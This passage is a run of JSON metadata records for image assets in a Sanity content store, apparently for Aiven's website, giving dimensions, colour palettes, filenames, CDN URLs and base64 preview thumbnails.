02636ab1ac6b6a4e201-1343x1054.png","path":"images/sczeoy4w/production/0b2f6af3b3c5a5467147502636ab1ac6b6a4e201-1343x1054.png","sha1hash":"0b2f6af3b3c5a5467147502636ab1ac6b6a4e201","size":34404,"uploadId":"h4AVfcuMrEwNcHXOhJozVehTTa3xs3WY","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b2f6af3b3c5a5467147502636ab1ac6b6a4e201-1343x1054.png"} {"_createdAt":"2022-09-30T16:24:34Z","_id":"image-0b3403f3eb1803637a328c2768f9c0a3073a90d3-1600x1137-png","_rev":"vDQRRYe9nRreptIRp5qZX3","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T16:24:34Z","assetId":"0b3403f3eb1803637a328c2768f9c0a3073a90d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEFElEQVQ4jU2Qe0ybVRjGPwNh65gxTrNsI07/nLBFnBo0yFyiktmxghsxM8qdMcalVUpxAlMQgUChNBsLhZIwmFMmy3QJDI3jomy6wDYZ0Ha0XHqBrbTQ0u92znc7x/SLJr7Jk/fyx+885yE2Sf6peYf72buTD/eP/X43aWT8z8O3Ru8cuv7zcHz1V9/u2bkr5mmCIKK3bX8mOv7g69FTU/fifD5/RTC4+R3DMFcFQeiXJEkvCEISw7CRRJDkojvNfQcyc4sKPvgwo+X9tOzz76XlGN9RftrySqKqZm/coYqYfW9r971xRJt45BPtuYYL+gcP5+6sb2x4WZZdF0VxXZKk24IgfESToSjCH2B31Te2KjOyC68UlFY61ZUta5rqNq+6yuAtrWx9XFLZ6lFXGdza2nZ3dVO323T5hvf+jA0EgkHMcRyWJCksiyCImRRFRxFrfuolfYsxvb6+aXhw6Df4YMaO78/a8eTfNjw1/QhPWxbx7CMnttjd2LrgwQvOx/iJbx2FSFKCEEo8zyMeAgtHBXKY5amthNdH7jW0XThhMnXetFqtLIQQUwwtBTeDiKZpJHI8kqCABI5HoigiXhDkO0mSiGFYBFgWg43VFW5usEY0Hd5DPFkLPVff0JzS0WEaslisAACASYZCwVAQMTSNeBYgGGIQE6IRAABBCBFF/Q8IAIarc0D4tWYIfbNTSTjd/i1q9WdJ7Rcv/mS12thwLhACxFCUDIQsQALkEM/xSBAEFP4iSVJoczMkA7nwfWUai9eLFtC57fVEbkE5oVQejTcajd9brTaG5zjMQw6xYSBFIg4CJEkS+rdwGBp2FwgEEcMwsmvG/gfmLn/sQ1Vb+wmMMZGYmLjfYDD02Ww2mud4GSg7pCgEAZCz+w8anlkWyDkCCJHfu4oWBo14vemgH52NGCC8Xh+RkJAQ29bW1js/P0+LoogFjpdYmkGAYRAPIZIEESFJQjhsEctN3sNveBZt6K/2AuzU7ljCFYSeuPrjtcjk5ORX6+rqrkxMTLAupxMvLy5hx7wdL9gd8uxadmK3y4Xdbg9ye1ZkeTwryOVZRZO3R/Fww0nBqt4xzn+pOEn09PTuzs8/9W5xcXGXXt8y293d7TCbzfauzi5Z5s4uR29X+2q/Sc8OdDRgWaZGfM3UiAc6GnFvc4V4SXvUNVIWf36mOSWBMBiMMRrN569lZGSlZ2VlF+Tl5Rfm5Z86He65uXmF+bk5Z2pPp9X+UPLWzV/UB1ZGNbFgTPOyMKaJ5W5p9gdulMTf6zvzpqFHq1Ka9V+/SJTrvogsKi7dkpmVozh+PF1xTJUmS6VKVaSqVIr01BTFeOELu/1lihNMeWQf0EU4oC4iBHURXlYXMRIqjypbKns+rkN9bNtZXXnkP/36In9PoGcEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#663651","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1204","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87606","foreground":"#fff","population":5.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c298ae","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcace0","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99585e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87606","foreground":"#fff","population":5.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-influxdb.png","path":"images/sczeoy4w/production/0b3403f3eb1803637a328c2768f9c0a3073a90d3-1600x1137.png","sha1hash":"0b3403f3eb1803637a328c2768f9c0a3073a90d3","size":74474,"uploadId":"1RIusAt9BhmPs7YpGzwBT1S0VgLLoGZg","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b3403f3eb1803637a328c2768f9c0a3073a90d3-1600x1137.png"} {"_createdAt":"2024-01-03T13:16:12Z","_id":"image-0b48e86d6efa421141b0227f7922784685b53ab4-1200x630-jpg","_rev":"E2pxmdy757ydOazCR5nh5G","_type":"sanity.imageAsset","_updatedAt":"2024-01-03T13:16:12Z","assetId":"0b48e86d6efa421141b0227f7922784685b53ab4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGSn1X{2XSOZ+avO%eES$dt6E+#8t2KPxC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBAb/xAAfEAACAgIDAQEBAAAAAAAAAAABAgADBCEFERIxI1H/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAgP/xAAfEQABBAEFAQAAAAAAAAAAAAABAAIDBBESITFxkRT/2gAMAwEAAhEDEQA/AGCrXf5stdy5G5E4bZHqhWZSw0y/ZSqJ7+mO+C3m19/2HVSA2pgxpwRk+bpWvyfNCXHccepLVwmZjqU/azffoiE3XLZFtWWVrcqoUaEJMso1nVz0FjDYeGANAx2V/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593e55","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141852","foreground":"#fff","population":1.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c096a4","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb574","foreground":"#000","population":5.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#555a9b","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.65,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-live-nyc_meta-preview.jpg","path":"images/sczeoy4w/production/0b48e86d6efa421141b0227f7922784685b53ab4-1200x630.jpg","sha1hash":"0b48e86d6efa421141b0227f7922784685b53ab4","size":121541,"uploadId":"FKoY3HXQtAZBFydbPLklfIJPvlWrvppA","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b48e86d6efa421141b0227f7922784685b53ab4-1200x630.jpg"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDYH","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"0b94cf0d821bb1800ef640bd1e8458b2c43c8218","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADMUlEQVQ4jXWV64+eUxTFf2O0dNpm3CrSqqjqNOpSoWnQRIekLtGQuJdqZ551piVVEgkJ8UEIKQkaEpdIFCUEpYIUJYggIiE++Ft8O4t9zp5XfPB+eXKe55x11l5r7f0C4L/Au6DOgO8Az3GsxUqLKy2u98DGOnCSdzJmgWeh8j8/z0FsqrGxNOBjXFhdxd4q3rX43OKVKm50gM72/aMzO/sFcbYD5mJ+kwsTVdxicdjiE4sDFl9ZvGqxwTPJskCNcwN4BursPOCOBjRucaLFWRbTFs9bHLXY69LW+3P9gMVFKccSi7FWfoCOANX0OttisHgxmf1u8ZnFNRYrqrjf4heLn91leMpiq8WyWjpoY3qApsNyiz0Wn1bxhcWhPPSIxbkemLTYkiw/sPjY4muLtxJ08UjXYGmx2eKd1CtYXtyAxBkWE3VocpxQexXnW2zKywJ0nwdW+do0aXcHvNXiuyi1ipssTvcsC+bdb6XMGzbXjBirpYEeTrN2Wqz1wFJv74A3ZDR+tXjP4iGL9R5YONJmPiZl5PDa2qP0W2r9dMhSB5bGx3Msdls8mxqFjvdZnDpiFlmbznjd3d6d4l7NExmro5mMC2PT8RanWQ04NPzS4qV0vgG2NIROc9lRhfFaONlilcXVLrwZpoZJATgZLKvYXHu5IfZzbXMP/Nh/Oqk/j3PhTBc2WtyVlX1ocVXcdokLT1q8n+XGc5vV4vKvIfOAvUOWu3CvxcHU8IjFwxarY+NtFt9b/GjxTGqz0gOL3TO6pjkvFo3YFtYl2B8Wr1vsikjVgYUk5R8sXg5R68CSKiar2FTFo9nDj1lc0ViHQYX1WeYRi+va0BhY4Et7bG7PPEXZy0L0NGifxTep6bep6wWO6BQ2JOBBi3VN3zQsbot+/chqTk3X7vjNqWe8m6vitdRqR4S4ipn8vj8HStd4pgNOufB4ZumNZBrG/BmlVnGexYM5HKI9X6idQMRkNqdUB9zSB+yiWrjMaqCHai//p9QnGK1wn48xFMK4+P62C3tcWOM5xlu5owF7T1uEg1MtpF3T7dmSUx6YyABvdeHOBL+8JSD+KrZB9LBjMPwD+Ddz7Id9V0ooAgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#305030","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#821007","foreground":"#fff","population":0.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f36919","foreground":"#fff","population":3.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#913a07","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8ac80","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad775c","foreground":"#fff","population":2.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f36919","foreground":"#fff","population":3.82,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-puzzle-piece.svg","path":"images/sczeoy4w/production/0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24.svg","sha1hash":"0b94cf0d821bb1800ef640bd1e8458b2c43c8218","size":602,"uploadId":"lxGllKenb1HPtiymfUlUtXZNQrvasVEz","url":"https://cdn.sanity.io/images/sczeoy4w/production/0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24.svg"} {"_createdAt":"2022-06-15T20:02:44Z","_id":"image-0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8Kev","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:09Z","assetId":"0c005fac0d664824034d1aa0981622dd83bfef3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA6RyYtSn#n$M{?wxtR+bIRP%MWBWEt7ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACc0lEQVQokU2R6U8TQRyGt+32AAtyFVFUlHZ3223ZLVAKxSOoKEYsCBR6024PEAIYP2ACFgheYIx/82N2KOqHJzPJ7jzz/t6RPOYO/sQ+3ckD/JP7+BN79CZ26Y036THr9MUb9Js1AqbFYLxKwKjQZ1TpHd+if+aAgdmPdCX2cce2cITrSIHUAUb6hNnsN5KZL0yunpNc/yr28eVTjHQLY/EYc/GI6XctUistZlZaJNfOSOW+k8pfoiwc4ze3cGkVpHupXZ6un7JUv2TRuuC19ZNX1i/mrd88yl+gv/nMw+eHjDw7RFk4Ivq2xVj6BH3xBD19SjR9xvDcIV5jG0e4hjScaJBa+sTL3ClzmRbzhXPmyz94Ub5gOnPO7dkDvLEGcmwL99i2OOgzt/EZ7b2xjTvWxBmpXwlvhgsMT1jcn2owPNVkJLXDg8d7jDz5IGQd5nukcKNNDYdawamUBS6lhCtURA4VcLeRPMEc3mAOT6iArG4iazYVXJEaTr2BQ28iRRoCu3SnVkVWyriVIp5QHu/oBr7RdbHaSC7VvqmMS90UPzs06yp6xBY1kYTEEt+cWgVZLYskQhbMCpnPlolQeSRZKeGxb1OKuO0R1M228DpVrS2rivR+LcdgeJWhyCpD+tpfbkXXCcRySN1KloFwjn69SJdWwBvKIytFRHK1IhDJwzXkiCUO6RPLxBPpK6aWBObUMkZyBWlAyXA3mudOvEKPXsIXyuIJZsVY1zX8S1ihJ1pgxMwQGl8jaDORYXRiQxAczyB1Kjn8WoEbkTJezS67hF3D/6PbHdqp7Qf0BTfoDG3QoebxqQW8WglPpCrwaSX+AKNAbNdns1n8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a305d","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b8d4","foreground":"#000","population":0.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95a1df","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64748f","foreground":"#fff","population":1.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d45440","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844.png","path":"images/sczeoy4w/production/0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844.png","sha1hash":"0c005fac0d664824034d1aa0981622dd83bfef3e","size":68917,"uploadId":"z0lD6uzF8j1DQYGT0BeglsKDkntAGSPk","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844.png"} {"_createdAt":"2023-07-07T08:13:00Z","_id":"image-0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844-png","_rev":"lIJH2XrFwRt4uP1xSOYDEC","_type":"sanity.imageAsset","_updatedAt":"2023-07-07T08:13:00Z","assetId":"0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8TNm2y}f4%LeA?^kBemj^eAgMf+e=g2f%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdUlEQVQokU3P608VdACH8d85ymVUM1kgF0EZSsJBowJX2pBoXbbWC5W4nA6IIJd0y+YQTIGEAxyQSyRtsba2aq22+vsOzXH4fRrxphfPm++LZ883+Pw4/aV88RKZMjIl3CrldgmjJYyVMFHMZBH3innwCosNbL/N1iWytSxWsVLHcq1guIKvWpjuYPpNplLMXORRK49bmX+DuRSzTSykeNbB7if83s9vPey+z85lttvYbBaMneabKyx+xEI3TztZ6ma5i1wXGx+y8QHr19jq5oeP+aWPvyf4a5Rfr7PbxU4737cJRqp42M5sJ7NXeXKZ+Xf59h2yV1nr5lkX652sv8dWJz99xh+D/DnIz5/yvJ3vLvL8LUF/GbcrGathvJrxCiYruVvJ/RqmzjBVx8MaZqqZrSOXYucKP147kq1fYOtw6xDcCNxM0JOgN0F/gnSCwQTDSUaOcSfJeIIvE9wv5UkFK42sN7N2nrXGo8KddsH14D8OxT2BvsBAIBMYCgwH7gQmk9w9xtelzJ1itelIuHKW3Bk2LrDxuhBvhBhvJmLsScTYm4ixL8SYDjFmQjQUopFkdK8smjoZTZ2Ipl+NFuujjdZooznK1sSYrYpWz0a5+hgMlDFUzq1yBl8mfZz0/wrHipg5RbaRp/XMVZM9LEqxmWLpNNnqo9uHhQZPFozXF0zUF4y8VpApLkiHgkwoGAoF40UFj2sKca3lwErTgfmagvnqQsydO4jrzQdyDdFqQ7SVirYvHQS9xXkDZXnpQ0ryBpJ56ZCXCfk4FPJGk3kPyvOWm/YsNe55VJ43c2LPQu0/Vs+/sHZu32bLftxu27eVevEv6l82RXLIXrkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc848c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b2a4","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka_Quotas_available_in_Aiven_for_Apache_Kafka®_blog.png","path":"images/sczeoy4w/production/0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844.png","sha1hash":"0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce","size":111072,"uploadId":"qxk2Zz7l6gnJSYKXYwBmIz9B8OlHS9Vo","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844.png"} {"_createdAt":"2024-07-04T07:18:11Z","_id":"image-0c5393ca16909f70b9e504266aa37188773798e1-1200x628-png","_rev":"GIOwkysrijyYbzGkS2PzQT","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:18:11Z","assetId":"0c5393ca16909f70b9e504266aa37188773798e1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[F.yi_;%eT}Yjbf6jtf6hfaeb]jZgN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABjklEQVQokX3SUU+ScRzF8cNDrAvaKiGWhrQuvHHNqXXnuusNpCGKjjBT4lFQQh+kVFZubG7Ol3y+DQaTHquLc/vZ+f/PT3wQrArWBEVBSVAWbAsqgh3hXeE94a/CofChcFO4JdwWPhWOBB2hITbOxxG4KdgagVXBrmBPUBPUBYeCpuBY0BacCgZgNADHDdcfwEYKNpOwFUAlgGoAOwn8JYFrSRwm8UGAGwl8HOBvAT4JcJTAnUHGYOkh1F9Bax4OCtCYhaMCbk5D+Bg3M/h8Dl/O4e8v8I9p3MvjnwX8K4+vZnDvCT5LjsByGqK3cPUeusvQXcIXb3B3HlozOHqJr1fwzTvcX8T91/h6Ad8s4dtFfLuA+3ncTY3AYgo+56A+C/s5qGUhfIbrT6GWxuEj3M7h6DmOsrgzhbtT+DyDL7O4l8EXaXwWIK+KYdaEi8IbwmXhbeGKcHVi5drdysNRYivf/eH/zia+cjixcusvK99rWIo1/NcdHt2/w2HDP8D12JM/TYD7E2AjBo6wAfgbmw7mwMB9zbgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bec9b9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc070","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b9956b","foreground":"#000","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarketHero.png","path":"images/sczeoy4w/production/0c5393ca16909f70b9e504266aa37188773798e1-1200x628.png","sha1hash":"0c5393ca16909f70b9e504266aa37188773798e1","size":34508,"uploadId":"IBjY2BQBa2r8KSdTZpJd6JrT5XmwHTWY","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c5393ca16909f70b9e504266aa37188773798e1-1200x628.png"} {"_createdAt":"2023-09-06T08:23:07Z","_id":"image-0c6462f15973482f1b7ee1e98bcbaa9d41736627-2808x1230-png","_rev":"7lO65z9OheRFnytB4YX5HE","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:23:07Z","assetId":"0c6462f15973482f1b7ee1e98bcbaa9d41736627","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2829268292682925,"height":1230,"width":2808},"exif":{"PixelXDimension":2808,"PixelYDimension":1230,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABCElEQVQokY1Sy2rDMBDU/39bDy30VgiEQiGkjuNqZXkf8oSVKyfOweQwaLUSM7MjheGnx18fQTSCKIPSCMoJMRNijrXOPMGKYZ7nFaXMYDFQEpzOGYcj4esQEX5PHS7dFWmcwGz1EouCRcDCUFVYKRuyRpgnw3VgHL8T3j97vH1cEGIkECUwK8zKE+x/dYJSSR5J/YzFEEnRXRjnbkJQNYgaVJ/JFni/nTnp4q6J2dpr/bAolzpWeREeg4hUqEdibsih7vDeWHLzi1r3zcU+yirkdajBm1W1SAlDpPpAorrjcpvlI4Ko1C/hrhrhmP11t/m8isDKldDtMzOmicG8ZLPkch+v1XtCN1p6w0U3gBzFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454545","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#353d95","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#363eb9","foreground":"#fff","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9abcf","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#96a5f0","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c68a2","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#363eb9","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-fetch_messages.png","path":"images/sczeoy4w/production/0c6462f15973482f1b7ee1e98bcbaa9d41736627-2808x1230.png","sha1hash":"0c6462f15973482f1b7ee1e98bcbaa9d41736627","size":278763,"uploadId":"NCrx3k3VXh0gAlBcI4KPAj2gZDqpPk4e","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c6462f15973482f1b7ee1e98bcbaa9d41736627-2808x1230.png"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-0ca9bb00d1e6b3223dc38d8afc534f1acf810782-300x300-jpg","_rev":"qkpX9b3U0TpOGFQp8XFzbB","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"0ca9bb00d1e6b3223dc38d8afc534f1acf810782","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eyQl^1of_Nt7RP-=j[RiV@Rjxuj[MxfktRt7aeWBkCkCofWVWBofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQEAAwAAAAAAAAAAAAAAAAcEAQYI/8QAJhAAAQQCAAMJAAAAAAAAAAAAAQACAwQFEQYHEhQhMTVBUVJhcf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGREAAwEBAQAAAAAAAAAAAAAAAAECAzIz/9oADAMBAAIRAxEAPwD1DkLcdGlNanOo4mlzj+LpXCnHjsznuwTV2RslYXwua7Z0PQrdzPmlbw1NDF4zDoU35Wg1szFZuRuc+Jpj2B3D7QXo1alFGecvOqZd0XEbw9gc07aRsFE5OTrnPbmq4muYXdJ6lgwjGw4ysYwAXs24+6Ip36DLgo2E8rr7+KIioBP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#694535","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#613622","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb79d","foreground":"#000","population":2.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb79d","foreground":"#000","population":2.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dca48f","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47159","foreground":"#fff","population":0.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c57c5c","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"laura.jpg","path":"images/sczeoy4w/production/0ca9bb00d1e6b3223dc38d8afc534f1acf810782-300x300.jpg","sha1hash":"0ca9bb00d1e6b3223dc38d8afc534f1acf810782","size":15097,"uploadId":"BaqV2SvCtRIER2tGHLemsoLfHB6hMlYG","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ca9bb00d1e6b3223dc38d8afc534f1acf810782-300x300.jpg"} {"_createdAt":"2024-07-17T09:59:19Z","_id":"image-0cbc49e649235a2814f5865c5aa2d87840d8c353-1920x1080-jpg","_rev":"IN03FCy14OOjYlZR2kDdSa","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T09:59:19Z","assetId":"0cbc49e649235a2814f5865c5aa2d87840d8c353","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHEn@-+t=;s9b_.9$x-qR--U~WxVVtsoS#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGBf/EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABREhBhITJDJBUYH/xAAVAQEBAAAAAAAA